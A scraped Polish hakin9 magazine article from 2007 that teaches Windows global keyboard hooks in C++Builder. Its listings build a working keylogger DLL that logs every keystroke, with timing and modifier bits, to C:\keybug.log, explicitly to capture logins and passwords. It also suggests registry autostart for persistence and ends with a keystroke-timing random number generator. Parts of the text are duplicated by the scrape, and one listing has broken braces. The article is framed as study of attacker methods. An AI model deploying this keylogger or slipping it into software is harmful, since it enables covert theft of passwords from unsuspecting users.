Hak Na Windows

7
 www.hakin9.org hakin9 Nr 4/2007 2  At ak J ak działają programy przechwytujące i zapisujące wszystkie naciśnięte przez użytkowników komputera klawisze? W systemie Windows ich zadaniem jest zazwy- czaj monitorowanie komunikatów związanych z klawiaturą. Co to znaczy? Komunikaty (ang. windows messages) tworzą niejako układ ner- wowy systemu Windows, łączący go z urucho- mionymi w nim aplikacjami. To właśnie komu- nikaty przekazują aplikacjom informacje o tym, że została ona kliknięta myszką lub naciśnięty został jakiś klawisz, przez co od aplikacji ocze- kiwana jest w związku z tym jakaś reakcja. To, co jest dla nas naturalne, np. kliknięcie przyci- sku widocznego na oknie aplikacji i co uży tkow- nikowi komputera wydaje się odbywać jedynie w kontekście samej aplikacji, w istocie angażu-  je system Windows – w końcu myszka i klawia- tura nie są podłączone do aplikacji, a do kom- putera zarządzanego przez Windows, to Win- dows właśnie, a nie sama aplikacja, może od- czytać stan tych urządzeń. Aplikacja odcięta od strumienia komunikatów staje się głucha i niema (aby taki stan uzyskać wystarczy nadpi- sać metodę WndProc okna aplikacji, nie wywołu-  jąc z niej metody nadpisywanej, i pozostawia-  jąc ją zupeł nie pustą ). W szczególnoś ci aplika- cja przestaje zaś reagować na polecenia od- świeżenia okna, co objawia się charaktery- styczną „białą plamą” w miejscu jej interfejsu.  A w jaki sposób możliwe jest monitorowa- nie przepływu komunikatów? System Windows udostępnia mechanizm haków (ang. hooks). Po- zwala on skojarzyć określony w haku typ komu- nikatów ze zdeniowaną przez użytkownika me- todą. Haki mogą być ustawiane bądź w kontek- ście konkretnej aplikacji, konkretniej wątku, bądź Hak na Windows Jacek Matulewski stopień trudności Imię domowego zwierzaka i bieżący rok to najczęściej wykorzystywany schemat haseł. Jednak, gdy hasło jest tak silne, że nie można go wykryć typowymi metodami, istnieje groźba, że zostanie ono podsłuchane. Nie chodzi o przysł uchiwanie się osobom mamroczącym podczas pisania, lecz o podsłuchiwanie klawiatury przez programy uruchomione w Windows. Z artykułu dowiesz się... w jaki sposób korzystać z mechanizmu haków systemu Microsoft Windows, w szczególności w  jaki sposób wykorz ystać go do podsłuchiwa nia klawiatury (np. w celu zdobycia loginów i haseł) pomysł na generator liczb losowych oparty na monitorowaniu korzystania przez użytkownika z klawiatury. Powinieneś wiedzieć... wymagana jest ogólna orientacja w korzystaniu z funkcji WinAPI oraz umiejętność projektowa- nia bibliotek DLL.

Transcript of Hak Na Windows

Page 1: Hak Na Windows

5/16/2018 Hak Na Windows - slidepdf.com

http://slidepdf.com/reader/full/hak-na-windows 1/6www.hakin9.orghakin9 Nr 4/20072

 Atak

Jak działają programy przechwytujące izapisujące wszystkie naciśnięte przezużytkowników komputera klawisze? W

systemie Windows ich zadaniem jest zazwy-czaj monitorowanie komunikatów związanychz klawiaturą. Co to znaczy? Komunikaty (ang.windows messages) tworzą niejako układ ner-wowy systemu Windows, łączący go z urucho-mionymi w nim aplikacjami. To właśnie komu-nikaty przekazują aplikacjom informacje o tym,że została ona kliknięta myszką lub naciśnięty

został jakiś klawisz, przez co od aplikacji ocze-kiwana jest w związku z tym jakaś reakcja. To,co jest dla nas naturalne, np. kliknięcie przyci-sku widocznego na oknie aplikacji i co użytkow-nikowi komputera wydaje się odbywać jedyniew kontekście samej aplikacji, w istocie angażu- je system Windows – w końcu myszka i klawia-tura nie są podłączone do aplikacji, a do kom-putera zarządzanego przez Windows, to Win-dows właśnie, a nie sama aplikacja, może od-czytać stan tych urządzeń. Aplikacja odciętaod strumienia komunikatów staje się głucha i

niema (aby taki stan uzyskać wystarczy nadpi-sać metodę WndProc okna aplikacji, nie wywołu- jąc z niej metody nadpisywanej, i pozostawia- jąc ją zupełnie pustą). W szczególności aplika-

cja przestaje zaś reagować na polecenia od-świeżenia okna, co objawia się charaktery-styczną „białą plamą” w miejscu jej interfejsu.

 A w jaki sposób możliwe jest monitorowa-nie przepływu komunikatów? System Windowsudostępnia mechanizm haków (ang. hooks). Po-zwala on skojarzyć określony w haku typ komu-nikatów ze zdeniowaną przez użytkownika me-todą. Haki mogą być ustawiane bądź w kontek-ście konkretnej aplikacji, konkretniej wątku, bądź

Hak na Windows

Jacek Matulewski

stopień trudności

Imię domowego zwierzaka i bieżący rok to najczęściej

wykorzystywany schemat haseł. Jednak, gdy hasło jest tak silne,

że nie można go wykryć typowymi metodami, istnieje groźba,

że zostanie ono podsłuchane. Nie chodzi o przysłuchiwanie się

osobom mamroczącym podczas pisania, lecz o podsłuchiwanie

klawiatury przez programy uruchomione w Windows.

Z artykułu dowiesz się...

• w jaki sposób korzystać z mechanizmu haków

systemu Microsoft Windows, w szczególności w

 jaki sposób wykorzystać go do podsłuchiwania

klawiatury (np. w celu zdobycia loginów i haseł)

• pomysł na generator liczb losowych oparty na

monitorowaniu korzystania przez użytkownika

z klawiatury.

Powinieneś wiedzieć...

• wymagana jest ogólna orientacja w korzystaniuz funkcji WinAPI oraz umiejętność projektowa-

nia bibliotek DLL.

Page 2: Hak Na Windows

5/16/2018 Hak Na Windows - slidepdf.com

http://slidepdf.com/reader/full/hak-na-windows 2/6

Hak na Windows

hakin9 Nr 4/2007www.hakin9.org 3

globalnie. W tym drugim przypadkufunkcja wykonywana będzie po wy-kryciu każdego komunikatu monitoro-wanego typu w całej „sieci nerwowej”systemu i tylko ten rodzaj haka bę-dzie nas teraz interesować. Haki glo-balne (ang. global hooks), a dokład-

niej ich funkcje zahaczone (ang. hookprocedure; nie znajduję lepszego tłu-maczenia) muszą być umieszczone wbibliotece DLL, która będzie ładowa-na do przestrzeni adresowej każdejaplikacji, która otrzyma monitorowa-ny typ komunikatu. W ten sposób do-wolna aplikacja będzie mogła urucho-mić przygotowaną przez nas funkcję.To wszystko brzmi może dość zawile,ale w praktyce nie okaże się bardzotrudne do realizacji. Wydaje mi się, żenawet niezbyt zaawansowany progra-mista znający choćby pobieżnie bi-bliotekę WinAPI i mający doświad-czenie z tworzeniem bibliotek DLL

powinien sobie z hakami poradzić.

Stawianiehaków w praktyceNajlepiej poznać wroga studiując je-go metody. Dlatego przygotujemyprosty program podsłuchujący na-ciśnięte klawisze. Program napisze-my w C++Builderze 6 (ze względu nadarmową wersję Personal dostępną na stronie http://www.borland.pl/ 

download/personal.shtml ), ale naj-

ważniejsze fragmenty kodu możnabez trudu przenieść do Visual C++2005 lub do innego środowiska pro-gramistycznego, nie tylko dla C++.W szczególności osoby programują-ce w Delphi z łatwością mogą prze-tłumaczyć poniższe przykłady naObject Pascal. To samo dotyczy Vi-

sual Basica.Zacznijmy od biblioteki DLL za-

wierającej funkcję zahaczoną. Dlawygody do tej samej biblioteki doda-my także funkcje ustawiające i usu-

wające hak. W środowisku C++Bu-ilder, z menu File/New/Other... wy-

bieramy pozycję DLL Wizard i klika-my OK. Pojawi się okno widoczne naRysunku 1. Zgodnie ze wzorem narysunku należy ustawić widoczne nanim opcje. Stworzymy w ten sposóbprosty moduł bez pliku nagłówkowe-go, w którym poza sporej wielkościkomentarzem jest tylko funkcja Dll-Main. Zapiszmy cały projekt używa- jąc np. nazwy KeyHook dla pliku pro- jektu (tj. pliku z rozszerzeniem .bpr).

Zacznijmy od zapisania uchwytudo bieżącej biblioteki DLL w zmien-nej globalnej handleDLL. Uchwyt tenmożna odczytać ze zmiennej global-nej HInstance zdeniowanej w mo-

dule SysInit (aby była dostępna na-leży zaimportować nagłówek SysI-nit.hpp), ale jest to rozwiązanie cha-rakterystyczne dla C++Buildera.Dlatego my odczytamy go z pierw-szego argumentu funkcji DllMain.W tym celu modykujemy tę funkcję, jak na Listingu 1.

Następnie przejdźmy do zdenio-wania funkcji SetHook, której zada-niem, jak wskazuje jej nazwa, będzieustawienie haka. I tu ważna uwaga.

Nie należy jej wywołania umieszczaćw funkcji DllMain, co może wydawaćsię dobrym rozwiązaniem automaty-zującym zakładanie haka. To jest złemiejsce, bo biblioteka DLL zawieraćbędzie także funkcję zahaczoną, cooznacza, że biblioteka będzie łado-wana do przestrzeni adresowej każ-dej aplikacji, która otrzyma komunikatzwiązany z naciśnięciem klawiszy. Zakażdym razem wywoływana będzieoczywiście jej funkcja DllMain.

Ustawienie haka realizowane jest

przez wywołanie funkcji WinAPI Se-

tWindowsHookEx, której pierwszym

Komunikacja między

aplikacjami a systemem

WindowsDo komunikacji między systemem, a

aplikacją używa się funkcji także zwrot-

nych, czyli funkcji udostępnianych

przez aplikacje lub biblioteki DLL, któ-

rych nazwa i sygnatura są z góry okre-

ślone i które wywoływane są przez sys-

tem w ściśle określonych sytuacjach.

Takimi funkcjami są np. WinMain lub

DllMain (ewentualnie DllEntryPoint)

uruchamiane w momencie uruchomie-

nia aplikacji lub załadowania biblioteki

DLL do pamięci. Do komunikacji inicjo-

wanej przez system są one używane

 jednak stosunkowo rzadko. Natomiast

do komunikacji w odwrotnym kierunku,

tj. gdy jest ona inicjowana przez aplika-

cję, korzystanie z funkcji udostępnia-

nych przez systemowe biblioteki DLL

 jest standardem. System udostępnia w

ten sposób ogromny zbiór funkcji, któretworzą WinAPI tj. interfejs programisty

aplikacji Windows.

W sieci• http://www.borland.pl/download/

personal.shtml – lista darmowych

wersji narzędzi deweloperskich r-

my Borland

• http://msdn2.microsoft.com – doku-

mentacja WinAPI i platformy .NET.

Warto zacząć od wpisania w polu

search hasła hooks.

Dokumentacja funkcji zwrotnej Keybo-

ardProc dostępna jest w MSDN pod

adresem:

• h t tp : / /msdn .m ic roso f t . com/

l i b r a r y / e n - u s / w i n u i / w i n u i /

w i n d o w s u s e r i n t e r f a c e /

windowing/hooks/hookreference/

hookfunctions/keyboardproc.asp.

Tę samą stronę zobaczymy wpisu-

 jąc w Google hasła KeyboardProc

MSDN i klikając pierwszy link.

Rysunek 1. Ustawienia w kreatorze biblioteki DLL

Page 3: Hak Na Windows

5/16/2018 Hak Na Windows - slidepdf.com

http://slidepdf.com/reader/full/hak-na-windows 3/6hakin9 Nr 4/2007 www.hakin9.org

 Atak

4

argumentem jest stała identykująca

typ interesujących nas komunikatów,

w naszym przypadku będzie to sta-

ła WH _ KEYBOARD, drugim jest wskaź-

nik do funkcji zahaczonej, którą bę-

dziemy musieli jeszcze zdeniować,

natomiast trzeci wskazuje uchwyt bi-

blioteki, w której funkcja zahaczona

 jest umieszczona. W naszym przy-

padku, w którym funkcja ustawiająca

hak i funkcja zahaczona są w tej sa-

mej bibliotece umieścimy w trzecim

argumencie uchwyt do bieżącej bi-

blioteki.

Na Listingu 2. widzimy, że zade-

klarowana została zmienna globalna

o nazwie handleHook, do której w me-todzie SetHook  zapisaliśmy uchwyt

ustawionego haka. Po wywołaniu

funkcji SetWindowsHookEx informu-

 jemy użytkownika o powodzeniu lub

niepowodzeniu ustawienia haka. Ja-

ko drugi argument funkcji SetWin-

dowsHookEx  podaliśmy wskaźnik

do funkcji KeyboardHookProc . Szko-

puł w tym, że ona jeszcze nie istnie-

 je. Ale nie wszystko na raz.

Dla porządku zdeniujmy od razu

funkcję usuwającą hak, przedstawio-ną na Listingu 3.

Podobnie, jak w przypadku po-

przedniej funkcji, także tu napraw-

dę ważna jest tylko pierwsza linia,

w której wywołujemy funkcję WinAPI 

UnhookWindowsHookEx. Pozosta-

łe dwie służą do wyświetlania komu-

nikatu o powodzeniu operacji. Funk-

cja UnhookWindowsHookEx usu-

wa hak identykowany na podstawie

uchwytu, który zapisaliśmy w zmien-

nej handleHook.

Obie funkcje należy wyekspor-

tować z biblioteki DLL. W tym ce-

lu do ich sygnatur, przed wska-

zaniem zwracanego typu doda-

liśmy modykatory extern "C"

_ _ declspec(dllexport).

Funkcja zahaczonaWreszcie możemy przejść do zdenio-

wania funkcji zahaczonej (zdecydowa-

liśmy już, że będzie nazywała się Key-

boardHookProc ), która będzie wywo-

ływana, kiedy tylko dotkniemy klawia-tury. Jej sygnatura jest ściśle określo-

na w dokumentacji WinAPI  (zobacz

ramka W sieci ). Przyjmuje trzy argu-

menty: code, wParam i lParam. Pierw-

szy z nich informuje o tym, co funk-

cja zahaczona powinna zrobić z prze-

chwyconym komunikatem. Jeżeli jej

wartość jest mniejsza od zera, komu-

nikat powinien zostać zignorowany.

Możliwe wartości nieujemne to 0 (sta-

ła HC _ ACTION) lub 3 (HC _ NOREMOVE). In-

formują o wykryciu komunikatu (po-

równaj opis komunikatów i w MSDN),

a różnią się tym, że w drugim przypad-

ku komunikat nie został jeszcze zdję-

ty z kolejki komunikatów. W przypadku

komunikatów związanych z klawiaturą 

wartość code jest niemal zawsze rów-

na 0. Wyjątkiem jest na przykład Mi-

crosoft Word, który w bardziej złożo-

ny sposób obsługuje komunikaty kla-

wiaturowe. Pozostałe dwa argumen-

ty funkcji zahaczonej przekazują da-

ne komunikatu. Parametr wParam to

kod znaku naciśniętego klawisza, a w

bitach lParam umieszczone są dodat-

kowe informacje o kontekście, w jakim

naciśnięty został klawisz. Szczegóły

omówię poniżej.

Funkcja zahaczona będzie wywo-

ływana z poziomu aplikacji, do której

Listing 1. Inicjacja biblioteki DLL

HINSTANCE handleDLL=NULL;

#pragma argsused

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fwdreason, LPVOID lpvReserved)

{

if (fwdreason==DLL_PROCESS_ATTACH) handleDLL=hinstDLL;

return 1;

}

Listing 2. Ustawianie haka klawiaturowego

#include <SysInit.hpp>

HHOOK handleHook=NULL;

extern "C" __declspec(dllexport) void  __stdcall SetHook(void )

{

  handleHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardHookProc,HInst

ance,NULL);

  if (handleHook ==NULL) MessageBox(NULL,"Założenie haka nie powiodło

się","KeyHook",MB_OK | MB_ICONERROR);  else Message

Box(NULL,"Założenie haka udało się","KeyHook",MB_OK | 

MB_ICONINFORMATION);

}

Rysunek 3. Przykładowy plik generowany w trakcie podsłuchiwania

klawiatury 

Page 4: Hak Na Windows

5/16/2018 Hak Na Windows - slidepdf.com

http://slidepdf.com/reader/full/hak-na-windows 4/6

Hak na Windows

hakin9 Nr 4/2007www.hakin9.org 5

ładowana będzie nasza biblioteka,dlatego musi być wyeksportowana(stąd modykatory w jej sygnaturze). Aby uniknąć dodatkowego jej dekla-rowania funkcję zahaczoną proponu- ję wstawić przed funkcję SetHook.

W momencie naciśnięcia klawi-sza na klawiaturze system generujedwa komunikaty. Pierwszy, gdy kla-wisz zostanie wciśnięty, drugi – gdy jest zwalniany. Widoczny w funkcjiwarunek sprawdzający wartość 31-go bitu parametru lParam powoduje,że w obu przypadkach generowany jest inny dźwięk (służy do tego funk-cja WinAPI Beep): wyższy, gdy kla-

wisz jest naciskany, i niższy, gdy jestzwalniany. Po zareagowaniu na wy-krycie komunikatu należy jeszcze wy-wołać funkcję CallNextHookEx, którapowoduje wywołanie następnej funk-cji zahaczonej związanej z tym sa-mym typem komunikatów. Dzięki te-mu są one organizowane w swoistełańcuchy, z których system wywołujepierwszy element, a funkcje zahaczo-ne dbają o wywołanie następnych.

Na razie funkcja nie zapisuje

 jeszcze kodów naciśniętych klawi-szy, a jedynie uroczo sobie pobrzę-kuje. To pozwoli nam jednak upew-nić się, że jest ona rzeczywiście wy-konywana. Warto również dodać doDllMain polecenia pokazujące komu-nikaty informujące o załadowaniu bi-blioteki do pamięci i jej usunięciu.Dzięki temu będziemy mogli na wła-sne oczy przekonać się, że bibliote-ka jest ładowana do przestrzeni ad-resowej każdej aplikacji, która otrzy-ma komunikat o naciśnięciu klawisza

(tzn. która będzie aktywna, gdy bę-dziemy stukać w klawiaturę).

Aby przetestować działanie naszego

haka bez pisania osobnej aplikacji

możemy użyć następującej komendy

Windows:

rundll32 KeyHook,SetHook.

Po pojawieniu się komunikatu „Za-łożenie haka udało się” nie klikaj-my OK, aby uniknąć usunięcia pier-

wotnej instancji biblioteki DLL z pa-mięci i tym samym usunięcia haka.Wówczas naciskając klawisze po-winniśmy usłyszeć charakterystycz-

ne brzęczenie – znak, że nasz hakdziała. Zauważmy, że wykrywane są 

osobno naciśnięcia wszystkich kla-wiszy, w tym klawiszy funkcyjnychoraz klawiszy Ctrl, Shift i Alt.

W dołączonym do artykułu ko-dzie umieściłem projekt aplikacji,która pozwala na wygodniejszą kon-trolę ładowania biblioteki oraz zakła-dania i zwalniania haka.

PodsłuchiwanieklawiaturyTeraz dopiero zrobimy się niegrzecz-

ni. Zmodykujemy bowiem funkcjęzahaczoną tak, żeby zapisywała dopliku naciśnięte klawisze. Nie będziez tym żadnego kłopotu, bo jak jużwiemy, informacja ta przekazywa-

na jest do funkcji w parametrze wPa-ram. Wystarczy zapisać ją do pliku.

Najprostsza realizacja tego pomysłuukazana została na Litingu 5.

Zwróćmy uwagę, że przechwyty-wany komunikat nie przekazuje infor-macji o tym, czy na monitorze poja-wiła się mała, czy duża litera (ewen-tualnie czy pojawiła się cyfra, czy je-den ze znaków !, @, # itd.) Komunikatprzekazuje tylko taką informację, ja-ka jest odbierana od klawiatury. Naci-śnięcie klawiszy Shift i Caps Lock jestsygnalizowane osobnymi komunika-

tami i w funkcji zahaczonej ich na-ciśnięcie i zwolnienie trzeba śledzićsamodzielnie. Podobnie jest z klawi-szem Ctrl. Natomiast w parametrzelParam przekazywana jest informa-

Listing 3. Zdejmowanie haka klawiaturowego, lang=C++

extern "C" __declspec(dllexport) void  __stdcall RemoveHook(void )

{

 bool result=UnhookWindowsHookEx(handleHook);

if (result) MessageBox(NULL,"Usunięcie haka udało się", "KeyHook", MB_OK | 

MB_ICONINFORMATION);else MessageBox(NULL,"Usunięcie haka nie powiodło się", "KeyHook", MB_OK | 

MB_ICONERROR);

}

Listing 4. Funkcja uruchamiana w momencie wykrycia komunikatu

klawiaturowego

extern "C" __declspec(dllexport)

LRESULT CALLBACK KeyboardHookProc(int code,WPARAM wParam,LPARAM lParam)

{

if (code>=HC_ACTION)

{

if((lParam & 0x80000000)==0) Beep(150,50);

else Beep(50,50);

}

return CallNextHookEx(handleHook,code,wParam,lParam);

}

Rysunek 2. Gdy na ekranie pojawi się ten komunikat nie klikajmy OK.

Wówczas usłyszymy działanie haka.

Page 5: Hak Na Windows

5/16/2018 Hak Na Windows - slidepdf.com

http://slidepdf.com/reader/full/hak-na-windows 5/6hakin9 Nr 4/2007 www.hakin9.org

 Atak

6

cja o naciśnięciu klawisza Alt, którą 

można odczytać z 29-go bita.

Oczywiście prowadzenie prawdzi-

wego podsłuchu wymagałoby zare-

 jestrowania dodatkowych informacji.

Warto zapisać czas naciśnięcia klawi-

sza (w poniższej metodzie korzystam

z funkcji WinAPI GetTickCount zwra-

cającej ilość milisekund od momentu

uruchomienia komputera), oczywiście

kod klawisza, informację o tym, czy

klawisz był naciśnięty, czy zwolnio-

ny oraz stan bitów parametru lParam.

Realizuje to wersja funkcji zahaczonej

znajdująca się na Listingu 6.

W dołączonym do artykułu ko-

dzie dostępna jest nieco rozszerzo-na wersja metody KeyboardHook-

Proc, która na bieżąco wyświetla do-

datkowe informacje na ekranie.

Jak widać ustawianie globalne-

go haka nie jest specjalnie trudne.

Moc tego mechanizmu jest przy tym

ogromna. Pozwala on „aplikacjom

trzecim” na monitorowanie i kontrolę

komunikacji między systemem, a uru-

chomionymi w nim aplikacjami. Dzia-

łanie haka jest wprawdzie ograniczo-

ne do jednego użytkownika, ale wy-starczy umieścić odpowiedni wpis w

rejestrze, aby aplikacja zakładająca

hak uruchamiana była przy logowaniu

każdego użytkownika. Jeszcze wy-

godniejsze, i dające dodatkowe moż-

liwości, byłoby przygotowanie usługi

uruchamianej przy starcie systemu.

Haki nie służą tylko do hackowaniaMechanizm haków nie został oczywi-

ście zaprojektowany przez programi-

stów Microsoft po to, żeby możliwe

było szpiegowanie komputerów kon-

trolowanych przez system Windows.

Ich zadania mogą być bardzo różno-

rodne: od przygotowywania aplikacji

instruktażowych, w których czynno-

ści użytkownika mogą być śledzone

przez program-nauczyciel, po progra-

mowanie debugerów zintegrowanych

ze środowiskami programistycznymi.

Nawet przygotowane przez nas na

początku sygnalizowanie naciśnięcia

klawisza dźwiękiem, to dobry przykładpraktycznego wykorzystania haka. Ta-

kie potwierdzenie naciśnięcia klawisza

może być bardzo pożyteczne choćby

w przypadku osób niepełnosprawnych

korzystających z komputera.

Natomiast osoby zajmujące się

bezpieczeństwem komputerów mogą 

zainteresować się innym zastosowa-

niem haka klawiaturowego. Z punktu

widzenia kryptograi nieocenione by-

łoby dostępne w systemach kompute-

rowych źródło prawdziwych liczb lo-

sowych. Ponieważ jedynym kompo-

nentem tych systemów, który nie jest

w pełni deterministyczny, jest czło-

wiek, tylko użytkownicy komputerów

mogą stanowić źródło przypadkowo-

ści. Skupmy się na jednym z kanałów,

którym użytkownik ingeruje w pracę

systemu, a mianowicie na klawiatu-rze. A gdybyśmy za pomocą naszego

haka monitorowali naciskanie klawi-

szy, oczywiście nie wybierane klawi-

sze, ale czas ich naciskania lub zwal-

niania? W końcu żaden człowiek nie

 jest w stanie kontrolować co do mili-

sekundy momentu, w którym naciska

klawisze. Możemy więc uznać, ostat-

nią cyfrę ilości milisekund od urucho-

mienia komputera do momentu naci-

śnięcia klawisza jako zupełnie przy-

padkową. I to nie pseudolosową, a

rzeczywiście losową. Co zabawne

nie musimy wiele modykować na-

szej funkcji zahaczonej. Wystarczy

zmienić parametr zapisywany do pli-

ku. Prezentuje to Listing 7.\

Tym razem reagujemy tylko na tekomunikaty, w przypadku których pa-

Listing 5. W tej wersji rejestrowane są tylko naciśnięte klawisze, żadne

informacje dodatkowe. Ułatwia to odczytanie tekstu z pliku, ale utrudnia

śledzenie modykatorów 

#include <fstream.h>

extern "C" __declspec(dllexport)

LRESULT CALLBACK KeyboardHookProc(int code,WPARAM wParam,LPARAM lParam)

{

if (code>=HC_ACTION)

{

if((lParam & 0x80000000)==0)

{

ofstream txt("C:\\keybug.log",ios::app);

if (wParam>32 && wParam<127) txt << (char)wParam;

else txt << "[" << wParam << "]";

txt.close();

}}

return CallNextHookEx(handleHook,code,wParam,lParam);

}

Rysunek 4. Ilość losowych cyfr wygenerowanych przez powyższy program

zależy od stopnia użycia klawiatury 

Page 6: Hak Na Windows

5/16/2018 Hak Na Windows - slidepdf.com

http://slidepdf.com/reader/full/hak-na-windows 6/6

Hak na Windows

hakin9 Nr 4/2007www.hakin9.org 7

rametr code jest równy HC_ACTION.Unikamy w ten sposób zapisywa-nia liczby losowej w przypadku, gdykomunikat nie został zdjęty z kolejki – wywołanie funkcji jest wówczas po-wtórnie generowane przez komputer po stałym czasie (z taką sytuacją ma-my do czynienia na przykład w przy-padku niektórych aplikacji np. kompo-nentów Microsoft Ofce).

Powyższa funkcja spowoduje, żew pliku random.txt przyrastać będziezbiór losowych cyfr, za pomocą któ-rego można utworzyć losowe liczby.W przypadku pojedynczego użytkow-nika, szczególnie preferującego mysz-

kę, zbiór nie będzie rósł na tyle szyb-ko, aby mógł być profesjonalnie wyko-rzystany, jeżeli jednak hak ustawia-ny będzie automatycznie po zalogo-waniu każdego użytkownika w ser-werze, a dodatkowo monitorować bę-dziemy także inne kanały komunikacjimiędzy użytkownikiem a komputerem,w szczególności ruch myszki, to efektmoże być całkiem zadowalający.

Na CD dołączonym do tego nu-meru jest wersja kodu, która nie tylko

zapisuje, ale również odczytuje cyfryz pliku. Realizuje to klasa QueueFile,która usuwa raz użyte cyfry. Ponad-to dostępna jest tam funkcja, która zdziesięciu cyfr tworzy 32-bitową do-datnią liczbę całkowitą (unsigned int).

Wspominając o możliwościachprofesjonalnego wykorzystania mu-szę zastrzec się, że powyższe roz-wiązanie, choć wygląda na takie, któ-re „musi działać” powinno być uważ-nie przetestowane. Można to jed-nak zrobić dopiero mając ogrom-

ny magazyn liczb losowych. Do te-stów należy użyć jednego z teste-rów generatorów liczb pseudoloso-wych. Ustaloną renomę ma na przy-kład Diehard Battery of Tests (http://www.stat.fsu.edu/pub/diehard/).Jego autor przetestował, poza dużą liczbą generatorów liczb pseudolo-sowych, także kilka generatorów liczblosowych korzystających z urządzeńzycznych. Żaden z tych ostatnich niezaliczył sprawdzianu. Ciekaw jestem,

czy nasz „ludzki generator” będzie wtym lepszy. O wynikach postaram siępowiadomić jak tylko uzbieram wy-starczającą ilość liczb. l

O autorze...Fizyk zajmujący się na co dzień optyką kwantową i układami nieuporządkowanymi na

Wydziale Fizyki, Astronomii i Informatyki Stosowanej Uniwersytetu Mikołaja Koperni-

ka w Toruniu. Jego specjalnością są symulacje ewolucji układów kwantowych oddzia-

ływujących z silnym światłem lasera.

Od 1998 interesuje się programowaniem dla systemu Windows, w szczególno-

ści w środowisku Borland C++Builder. Ostatnio zainteresowany platformą .NET i ję-

zykiem C#. Poza opublikowanymi u nas książkami dotyczącymi programowania przy-

gotował również cykl artykułów dla czasopisma "PC World Komputer" (od sierpnia

2005).

Wierny użytkownik kupionego w połowie lat osiemdziesiątych "komputera osobi-

stego" ZX Spectrum 48k.

Listing 6. Zapisywanie całego kontekstu naciśniętego klawisza,

lang=C++

extern "C" __declspec(dllexport)LRESULT CALLBACK KeyboardHookProc (int code,WPARAM wParam,LPARAM lParam)

{

if (code>=HC_ACTION)

{

char c=wParam;

char kod[3]; itoa(c,kod,10);

char lParam_bits[32]; itoa(lParam,lParam_bits,2);

//zapis do pliku

ofstream txt("C:\\keybug.log",ios::app);

txt << GetTickCount() << ": ";

if (wParam>32 && wParam<127)

{

if((lParam & 0x20000000)==0x20000000) txt << "Alt+";

txt << (char)wParam;}

else txt << "[" << wParam << "]";

txt << " " << (((lParam & 0x80000000)==0)?"(wciśnięty)":"(zwolniony)");

txt << " (" << wParam << ") " << lParam_bits << "\n";

txt.close();

}

return CallNextHookEx(handleHook,code,wParam,lParam);

}

Listing 7. Prosty generator liczb losowych, lang=C++

extern "C" __declspec(dllexport)

LRESULT CALLBACK KeyboardHookProc (int code,WPARAM wParam,LPARAM lParam)

{

if (code==HC_ACTION)

{

if((lParam & 0x80000000)==0)

{

long t=GetTickCount();

short digit=t-10*(t/10);

ofstream txt("c:\\random.txt",ios::app);

txt << digit;

txt.close();

}

{

return CallNextHookEx(handleHook,code,wParam,lParam);

}